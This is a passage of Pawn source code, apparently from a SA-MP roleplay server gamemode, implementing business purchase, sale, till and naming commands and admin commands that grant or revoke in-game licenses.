					if(level < BizzInfo[i][bLevelNeeded]) return SCM(playerid,COLOR_SINA3,"You haven't enough level to buy this business.");
					if(BizzInfo[i][bOwned] == 0)
					{
						new poolebiz = BizzInfo[i][bBuyPrice];
						if(GetPlayerPool(playerid) < BizzInfo[i][bBuyPrice]) return SCM(playerid,COLOR_SINA3,"You haven't enough money to buy this business.");
						GivePlayerPool(playerid,-BizzInfo[i][bBuyPrice]);
						PINFO[playerid][pPbiskey] = i;
						SaveKonVal(playerid, "pPbiskey", i);
						BizzInfo[i][bOwned] = 1;
						strmid(BizzInfo[i][bOwner],PINFO[playerid][pName],0,strlen(PINFO[playerid][pName]),64);
						PlayerPlayMusic(playerid);
			   // SetPlayerInterior(playerid,BizzInfo[i][bInterior]);
					  //  SetPlayerPos(playerid,BizzInfo[i][bExitX],BizzInfo[i][bExitY],BizzInfo[i][bExitZ]);
			   // SetPlayerPos(playerid,BizzInfo[i][bEntranceX],BizzInfo[i][bEntranceY],BizzInfo[i][bEntranceZ]);
			   // SetPlayerInterior(playerid,0);
				   //     TooBiz[playerid] = i;
					   // SetPlayerVirtualWorld(playerid,BizzInfo[i][bVW]);
						GameTextForPlayer(playerid, "~w~Welcome~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
						Mahal[playerid] = 15;
						TooHouse[playerid] = 9999;
						SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
						SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
						OnBizUpdate(i);
						CustomPickups();
						new sanideyilarz[144];
				        format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s bought biz id #%d from server for $%s",PlayerInfo[playerid][pName], i, FormatNumber(poolebiz));
			            SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
						//SaveAccount(playerid);
						return 1;
					}
					if(BizzInfo[i][bOwned] == 2)
					{
						new poolebizs = BizzInfo[i][bForosh];
						if(GetPlayerPool(playerid) < BizzInfo[i][bForosh]) return SCM(playerid,COLOR_SINA3,"You haven't enough money to buy this business.");
						new OwnerA = ReturnUserEx(BizzInfo[i][bOwner]);
						if(IsPlayerConnected(OwnerA) && gPlayerLogged[OwnerA] == 1)
						{
							GivePlayerPool(playerid,-BizzInfo[i][bForosh]);
							PlayerInfo[playerid][pPbiskey] = i;
							SaveKonVal(playerid, "pPbiskey", i);
							PlayerInfo[OwnerA][pPbiskey] = 9999;
							SaveKonVal(OwnerA, "pPbiskey", 9999);
							BizzInfo[i][bOwned] = 1;
							strmid(BizzInfo[i][bOwner],PINFO[playerid][pName],0,strlen(PINFO[playerid][pName]),64);
							PlayerInfo[OwnerA][pAccount] += BizzInfo[i][bForosh];
							SaveKonVal(OwnerA, "pAccount", PINFO[OwnerA][pAccount]);
							PlayerPlayMusic(playerid);
				//SetPlayerInterior(playerid,BizzInfo[i][bInterior]);
				//SetPlayerPos(playerid,BizzInfo[i][bExitX],BizzInfo[i][bExitY],BizzInfo[i][bExitZ]);
				//TooBiz[playerid] = i;
				//SetPlayerVirtualWorld(playerid,BizzInfo[i][bVW]);
							GameTextForPlayer(playerid, "~w~Welcome~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
							Mahal[playerid] = 15;
							TooHouse[playerid] = 9999;
							SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
							SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
							OnBizUpdate(i);
							CustomPickups();
							new sanideyilarz[144];
				            format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s bought biz id #%d from %s for $%s",PlayerInfo[playerid][pName], i, PINFO[OwnerA][pName], FormatNumber(poolebizs));
			                SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
							//SaveAccount(playerid);
							//SaveAccount(OwnerA);
							return 1;
						}
						else
						{
							SellOfflinePlayerBiz(playerid,i);
							return 1;
						}
					}
				}
			}
			for(new i = 0;i<sizeof SBizzInfo;i++)
			{
				if(IsPlayerInRangeOfPoint(playerid,3,SBizzInfo[i][sbEntranceX],SBizzInfo[i][sbEntranceY],SBizzInfo[i][sbEntranceZ]))
				{
					if(level < SBizzInfo[i][sbLevelNeeded]) return SCM(playerid,COLOR_SINA3,"You haven't enough level to buy this business.");
					if(SBizzInfo[i][sbOwned] == 0)
					{
						new poolebizx = SBizzInfo[i][sbBuyPrice];
						if(GetPlayerPool(playerid) < SBizzInfo[i][sbBuyPrice]) return SCM(playerid,COLOR_SINA3,"You haven't enough money to buy this business.");
						GivePlayerPool(playerid,-SBizzInfo[i][sbBuyPrice]);
						PlayerInfo[playerid][pPbiskey] = i+500;
						SaveKonVal(playerid, "pPbiskey", PINFO[playerid][pPbiskey]);
						SBizzInfo[i][sbOwned] = 1;
						strmid(SBizzInfo[i][sbOwner], PINFO[playerid][pName], 0, strlen(PINFO[playerid][pName]), 255);
						PlayerPlayMusic(playerid);
						SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
						SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
						OnSbizUpdate(i);
						CustomPickups();
						new sanideyilarz[144];
                        format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s bought sbiz id #%d from server for $%s",PlayerInfo[playerid][pName], i, FormatNumber(poolebizx));
                        SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
						//SaveAccount(playerid);
						return 1;
					}
					if(SBizzInfo[i][sbOwned] == 2)
					{
						if(GetPlayerPool(playerid) < SBizzInfo[i][sbForosh]) return SCM(playerid,COLOR_SINA3,"You haven't enough money to buy this business.");
						new dad = ReturnUserEx(SBizzInfo[i][sbOwner]);
						if(IsPlayerConnected(dad) && gPlayerLogged[dad] == 1)
						{
                            new poolebizxx = SBizzInfo[i][sbForosh];
							GivePlayerPool(playerid,-SBizzInfo[i][sbForosh]);
							PlayerInfo[playerid][pPbiskey] = i+500;
							SaveKonVal(playerid, "pPbiskey", PINFO[playerid][pPbiskey]);
							PlayerInfo[dad][pPbiskey] = 9999;
							SaveKonVal(dad, "pPbiskey", 9999);
							SBizzInfo[i][sbOwned] = 1;
							strmid(SBizzInfo[i][sbOwner], PINFO[playerid][pName], 0, strlen(PINFO[playerid][pName]), 255);
							PlayerPlayMusic(playerid);
							PINFO[dad][pAccount] += SBizzInfo[i][sbForosh];
							SaveKonVal(dad, "pAccount", PINFO[dad][pAccount]);
							SendMessage(playerid, COLOR_WHITE, "Congratulations, On Your New Purchase.");
							SendMessage(playerid, COLOR_WHITE, "Type /help to review the new business help section.");
							OnSbizUpdate(i);
							CustomPickups();
							new sanideyilarz[144];
				            format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s bought sbiz id #%d from %s for $%s",PlayerInfo[playerid][pName], i, PINFO[dad][pName], FormatNumber(poolebizxx));
			                SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
							//SaveAccount(playerid);
							//SaveAccount(dad);
							return 1;
						}
						else
						{
							SellOfflinePlayerSBiz(playerid,i); return 1;
						}
					}
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/sellbiz", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new biz = PINFO[playerid][pPbiskey];
			if(biz == 9999) return SCM(playerid, COL_SYN, "You don't own a business.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) { SCM(playerid,COL_SYN,"Syntax: /sellbiz <Price>"); return SCM(playerid,COLOR_SINA3,"Use 0 for price to disable it."); }
			new price = strval(tmp);
			if(price <= -1 || price >= 50000001) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid price.");
			if(biz >= 500)
			{
				if(price == 0)
				{
					SBizzInfo[biz-500][sbOwned] = 1;
					SBizzInfo[biz-500][sbForosh] = 0;
					OnSbizUpdate(biz-500);
					CustomPickups();
					return SCM(playerid,COLOR_SINA3,"SellBiz {FFFFFF}Disabled.");
				}
				if(price >= 1)
				{
					SBizzInfo[biz-500][sbOwned] = 2;
					SBizzInfo[biz-500][sbForosh] = price;
					OnSbizUpdate(biz-500);
					format(string,256,"Your biz is for sell, Price: $%s",FormatNumber(price));
					CustomPickups();
					return SCM(playerid,COLOR_SINA3,string);
				}
			}
			else
			{
				if(price == 0)
				{
					BizzInfo[biz][bOwned] = 1;
					BizzInfo[biz][bForosh] = 0;
					OnBizUpdate(biz);
					return SCM(playerid,COLOR_SINA3,"SellBiz {FFFFFF}Disabled.");
				}
				if(price >= 1)
				{
					BizzInfo[biz][bOwned] = 2;
					BizzInfo[biz][bForosh] = price;
					OnBizUpdate(biz);
					format(string,256,"Your biz is for sell, Price: $%s",FormatNumber(price));
					return SCM(playerid,COLOR_SINA3,string);
				}
			}
			return 1;
		}
		if (strcmp(cmd, "/bizinfo", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new bouse = PlayerInfo[playerid][pPbiskey];
				if(bouse == 9999)
				{
					SendMessage(playerid, COL_SYN, "You don't own a business.");
					return 1;
				}
				if (bouse >= 500)
				{

					PrintSBizInfo(playerid,bouse-500);
				}
				else
				{
					PrintBizInfo(playerid,bouse);
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/prodprice", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new bouse = PlayerInfo[playerid][pPbiskey];
			if (bouse == 9999)
			{
				SendMessage(playerid, COL_SYN, "You don't own a business.");
				return 1;
			}
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				return SendMessage(playerid, COL_SYN, "Syntax: /prodprice <Price>");
			}
			if(strval(tmp) < 1 || strval(tmp) > 10)
			{
				SendMessage(playerid, COLOR_WHITE, "Price must be between $1 and $10.");
				return 1;
			}
			if (bouse >= 500)
			{
				SBizzInfo[bouse-500][sbPriceProd] = strval(tmp);
				format(string, sizeof(string), "Buying Products for $%s.", FormatNumber(SBizzInfo[bouse-500][sbPriceProd]));
				OnSbizUpdate(bouse-500);
			}
			else
			{
				BizzInfo[bouse][bPriceProd] = strval(tmp);
				format(string, sizeof(string), "Buying Products for $%s.", FormatNumber(BizzInfo[bouse][bPriceProd]));
				OnBizUpdate(bouse);
			}
			SendMessage(playerid, COLOR_SINA3, string);
			return 1;
		}
		if(strcmp(cmd, "/bizfee", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new bouse = PlayerInfo[playerid][pPbiskey];
				if (bouse == 9999)
				{
					SendMessage(playerid, COL_SYN, "You don't own a business.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					return SendMessage(playerid, COL_SYN, "Syntax: /bizfee <EntranceFee>");
				}
				if(strval(tmp) < 0 || strval(tmp) > 100)
				{
					SendMessage(playerid, COLOR_LIGHTRED, "Entrance Fee must be between $1 and $100.");
					return 1;
				}
				    if(bouse >= 500) return SendMessage(playerid, COLOR_YELLOW2, "You can't set fee for special businesses.");
					BizzInfo[bouse][bEntranceCost] = strval(tmp);
					format(string, sizeof(string), "Entrance fee set to $%d.", BizzInfo[bouse][bEntranceCost]);
					OnBizUpdate(bouse);
					CustomPickups();
				    SendMessage(playerid, COLOR_WHITE, string);
			}
			return 1;
		}
		if(strcmp(cmd, "/bizname", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				new bouse = PlayerInfo[playerid][pPbiskey];
				new weed[144];
				if (bouse == 9999)
				{
					SendMessage(playerid, COL_SYN, "You don't own a business.");
					return 1;
				}
				new result[256];
				result = strtokEx(cmdtext,idx);
				if(!strlen(result))
				{
					return SendMessage(playerid, COL_SYN, "Syntax: /bizname <NewName>");
				}
				if(FindBadSign(result)) return SCM(playerid,COLOR_YELLOW2,"Error: You have entered an invalid biz name.");
				if (bouse >= 500)
				{
					strmid(SBizzInfo[bouse-500][sbMessage], result, 0, 64, 128);
					format(string, sizeof(string), "Business name set to: %s",SBizzInfo[bouse-500][sbMessage]);
					OnSbizUpdate(bouse-500);
					CustomPickups();
					format(weed, sizeof(weed), "{ffffff}Player %s changed %s specialbusiness name to: %s",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"),SBizzInfo[bouse-500][sbMessage]);
		            AdminWarn(weed);
				}
				else
				{
					strmid(BizzInfo[bouse][bMessage], result, 0, 64, 128);
					format(string, sizeof(string), "Business name set to: %s",BizzInfo[bouse][bMessage]);
					OnBizUpdate(bouse);
					CustomPickups();
					format(weed, sizeof(weed), "{ffffff}Player %s changed %s business name to: %s",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"),SBizzInfo[bouse-500][sbMessage]);
		            AdminWarn(weed);
				}
				SendMessage(playerid, COLOR_SINA3, string);
			}
			return 1;
		}
		if(strcmp(cmd, "/bizwithdraw", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is locked. Type /unlockacc to unlock it and use this command.");
			new bouse = PlayerInfo[playerid][pPbiskey];
			new buz = PlayerInfo[playerid][pPbiskey];
		  if (bouse == 9999)
		  {
			 SendClientMessage(playerid, COL_SYN, "You don't own a business.");
			 return 1;
		  }
			if(bouse < 500) {
		  if(!IsPlayerInRangeOfPoint(playerid,5,BizzInfo[buz][bEntranceX],BizzInfo[buz][bEntranceY],BizzInfo[buz][bEntranceZ]) && (Mahal[playerid] != 15 && TooBiz[playerid] != buz)) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door or you must enter it.");
		  }
			else {
			if(!IsPlayerInRangeOfPoint(playerid,5,SBizzInfo[buz-500][sbEntranceX],SBizzInfo[buz-500][sbEntranceY],SBizzInfo[buz-500][sbEntranceZ])) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door.");
			}
			tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /bizwithdraw <Amount>");
			 if (bouse >= 500)
			 {
					new till = SBizzInfo[buz-500][sbTill];
				format(string, sizeof(string), "You have $%s in your till.",FormatNumber(till));
				return SendClientMessage(playerid, COL_SYN, string);
			 }
			 else
			 {
				format(string, sizeof(string), "You have $%s in your till.",FormatNumber(BizzInfo[bouse][bTill]));
				return SendClientMessage(playerid, COL_SYN, string);
			 }
		  }
		  new cashdeposit = strval(tmp);
		  if (bouse >= 500)
		  {
				if (cashdeposit > SBizzInfo[bouse-500][sbTill] || cashdeposit < 1)
				{
					SendClientMessage(playerid, COL_SYN, "You have this cash on your till.");
					return 1;
				}
				GivePlayerPool(playerid,cashdeposit);
				SBizzInfo[bouse-500][sbTill] -= cashdeposit;
				format(string, sizeof(string), "You've withdrawn $%s to your till ,Total: $%s ", FormatNumber(cashdeposit),FormatNumber(SBizzInfo[bouse-500][sbTill]));
				OnSbizUpdate(bouse-500);
				SendClientMessage(playerid, COLOR_SINA3, string);
				return 1;
		  }
		  else
		  {
				if (cashdeposit > BizzInfo[bouse][bTill] || cashdeposit < 1)
				{
					SendClientMessage(playerid, COL_SYN, "You have this cash on your till.");
					return 1;
				}
				GivePlayerPool(playerid,cashdeposit);
				BizzInfo[bouse][bTill] -= cashdeposit;
				format(string, sizeof(string), "You've withdrawn $%s to your till ,Total: $%s ", FormatNumber(cashdeposit),FormatNumber(BizzInfo[bouse][bTill]));
				OnBizUpdate(bouse);
				SendClientMessage(playerid, COLOR_SINA3, string);
				return 1;
		  }
	   }
	   return 1;
	}
		if(strcmp(cmd, "/bizdeposit", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new bouse = PlayerInfo[playerid][pPbiskey];
				new buz = PlayerInfo[playerid][pPbiskey];
//				new sbuz;
//				if(buz >= 500) {sbuz = PlayerInfo[playerid][pPbiskey]-500;}
				if (bouse == 9999)
				{
					SendMessage(playerid, COL_SYN, "You don't own a business.");
					return 1;
				}
				if(bouse < 500) {
				if(!IsPlayerInRangeOfPoint(playerid,5,BizzInfo[buz][bEntranceX],BizzInfo[buz][bEntranceY],BizzInfo[buz][bEntranceZ]) && (Mahal[playerid] != 15 && TooBiz[playerid] != buz)) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door or you must enter it.");
				}
				else {
				if(!IsPlayerInRangeOfPoint(playerid,5,SBizzInfo[buz-500][sbEntranceX],SBizzInfo[buz-500][sbEntranceY],SBizzInfo[buz-500][sbEntranceZ])) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door.");
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /bizdeposit <Amount>");
					if (bouse >= 500)
					{
						format(string, sizeof(string), "You have $%s in your till.", FormatNumber(SBizzInfo[bouse-500][sbTill]));
						return SendMessage(playerid, COL_SYN, string);
					}
					else
					{
						format(string, sizeof(string), "You have $%s in your till.", FormatNumber(BizzInfo[bouse][bTill]));
						return SendMessage(playerid, COL_SYN, string);
					}
				}
				new cashdeposit = strval(tmp);
				if (cashdeposit > GetPlayerPool(playerid) || cashdeposit < 1)
				{
					SendMessage(playerid, COL_SYN, "You haven't enough cash.");
					return 1;
				}
				if (bouse >= 500)
				{
						GivePlayerPool(playerid,-cashdeposit);
						SBizzInfo[bouse-500][sbTill] += cashdeposit;
						format(string, sizeof(string), "You've deposited $%s to your till ,Total: $%s ", FormatNumber(cashdeposit),FormatNumber(SBizzInfo[bouse-500][sbTill]));
						OnSbizUpdate(bouse-500);
						SendMessage(playerid, COLOR_SINA3, string);
						return 1;
				}
				else
				{
						GivePlayerPool(playerid,-cashdeposit);
						BizzInfo[bouse][bTill] += cashdeposit;
						format(string, sizeof(string), "You've deposited $%s to your till ,Total: $%s ", FormatNumber(cashdeposit),FormatNumber(BizzInfo[bouse][bTill]));
						OnBizUpdate(bouse);
						SendMessage(playerid, COLOR_SINA3, string);
						return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/aglall", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /aglall <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			new name[40];
			new taraf[40];
			GetPlayerName(playerid, name, sizeof(name));
			GetPlayerName(target, taraf, sizeof(taraf));
			new sstring[256];
			format(sstring, sizeof(sstring), "{FFFFFF}Admin %s given all licenses to %s.",name, taraf);
			AdminWarn(sstring);
			format(sstring, sizeof(sstring), "Admin %s given all licenses to you.",name);
			SCM(target, COLOR_LIGHTBLUE, sstring);
			PlayerInfo[target][pFlyLic] = 300;
			SaveKonVal(target, "pFlyLic", 300);

			PlayerInfo[target][pBoatLic] = 300;
			SaveKonVal(target, "pBoatLic", 300);

			PlayerInfo[target][pCarLic] = 300;
			SaveKonVal(target, "pCarLic", 300);

			PlayerInfo[target][pFishLic] = 300;
			SaveKonVal(target, "pFishLic", 300);

			PlayerInfo[target][pMatsLic] = 300;
			SaveKonVal(target, "pMatsLic", 300);

			PlayerInfo[target][pGunLic] = 300;
			SaveKonVal(target, "pGunLic", 300);


			return 1;
		}

	if(strcmp(cmd, "/tglall", true) == 0)
	{
	   if(PINFO[playerid][pAdmin] < 3) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SendClientMessage(playerid, COL_SYN, "Syntax: /tglall <Playerid/PartOfName>");
	   new target = ReturnUser6(tmp);
	   if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
	   new name[40];
		new taraf[40];
		GetPlayerName(playerid, name, sizeof(name));
		GetPlayerName(target, taraf, sizeof(taraf));
		new sstring[256];
	   format(sstring, sizeof(sstring), "{FFFFFF}Admin %s Taken All Licenses To %s.",name, taraf);
		AdminWarn(sstring);
		format(sstring, sizeof(sstring), "Admin %s Taken All Licenses To You.",name);
		SCM(target, COLOR_LIGHTBLUE, sstring);
		PlayerInfo[target][pFlyLic] = 0;
		SaveKonVal(target, "pFlyLic", 0);

		PlayerInfo[target][pBoatLic] = 0;
		SaveKonVal(target, "pBoatLic", 0);

		PlayerInfo[target][pCarLic] = 0;
		SaveKonVal(target, "pCarLic", 0);

		PlayerInfo[target][pFishLic] = 0;
		SaveKonVal(target, "pFishLic", 0);

		PlayerInfo[target][pMatsLic] = 0;
		SaveKonVal(target, "pMatsLic", 0);

		PlayerInfo[target][pGunLic] = 0;
		SaveKonVal(target, "pGunLic", 0);


	   return 1;
	}
	//-----------------------------PGL-------------------------------------------------------------------
		if(strcmp(cmd, "/agivelicense", true) == 0 || strcmp(cmd, "/agl", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 9)
				{
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr)) {
						SendMessage(playerid, COL_SYN, "Syntax: /agl [LicenseName] <Playerid/PartOfName>");
						SendMessage(playerid, COLOR_WHITE, "Available names: Driving, Flying, Sailing, Fishing, Weapon, Materials.");
						return 1;
					}
					if(strcmp(x_nr,"flying",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Flying <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pFlyLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Flying license to that player because his flying license is suspended.");
                            if(PINFO[giveplayerid][pFlyLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Flying license to that player because her flying license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "You've given a Flying License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "Admin %s has given you a Flying License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pFlyLic] = 300;
								SaveKonVal(giveplayerid, "pFlyLic", 300);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline!");
							return 1;
						}
					}
					else if(strcmp(x_nr,"sailing",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Sailing <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pBoatLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Sailing license to that player because his sailing license is suspended.");
							if(PINFO[giveplayerid][pBoatLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Sailing license to that player because her sailing license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "You've given a Sailing License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "Admin %s has given you a Sailing License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pBoatLic] = 300;
								SaveKonVal(giveplayerid, "pBoatLic", 300);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline!");
							return 1;
						}
					}
					else if(strcmp(x_nr,"driving",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Driving <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pCarLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Driving license to that player because his Driving license is suspended.");
							if(PINFO[giveplayerid][pCarLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Driving license to that player because her Driving license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "You've given a Driving License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "Admin %s has given you a Driving License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pCarLic] = 300;
								SaveKonVal(giveplayerid, "pCarLic", 300);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline !");
							return 1;
						}
					}
					else if(strcmp(x_nr,"fishing",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Fishing <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "You've given a Fishing License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "Admin %s has given you a Fishing License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pFishLic] = 300;
								SaveKonVal(giveplayerid, "pFishLic", 300);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline!");
							return 1;
						}
					}
					else if(strcmp(x_nr,"materials",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Materials <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pMatsLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Materials license to that player because his Materials license is suspended.");
							if(PINFO[giveplayerid][pMatsLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Materials license to that player because her Materials license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "* You've given a Materials License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "* Admin %s has given you a Materials License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pMatsLic] = 300;
								SaveKonVal(giveplayerid, "pMatsLic", 300);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline!");
							return 1;
						}
					}
					else if(strcmp(x_nr,"weapon",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /agl Weapon <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pGunLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Weapon license to that player because his Weapon license is suspended.");
							if(PINFO[giveplayerid][pGunLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Weapon license to that player because her Weapon license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "You've given a Weapon License to %s.",giveplayer);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "Admin %s has given you a Weapon License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pGunLic] = 300;
								SaveKonVal(giveplayerid, "pGunLic", 300);
								return 1;
							}
						}
						else
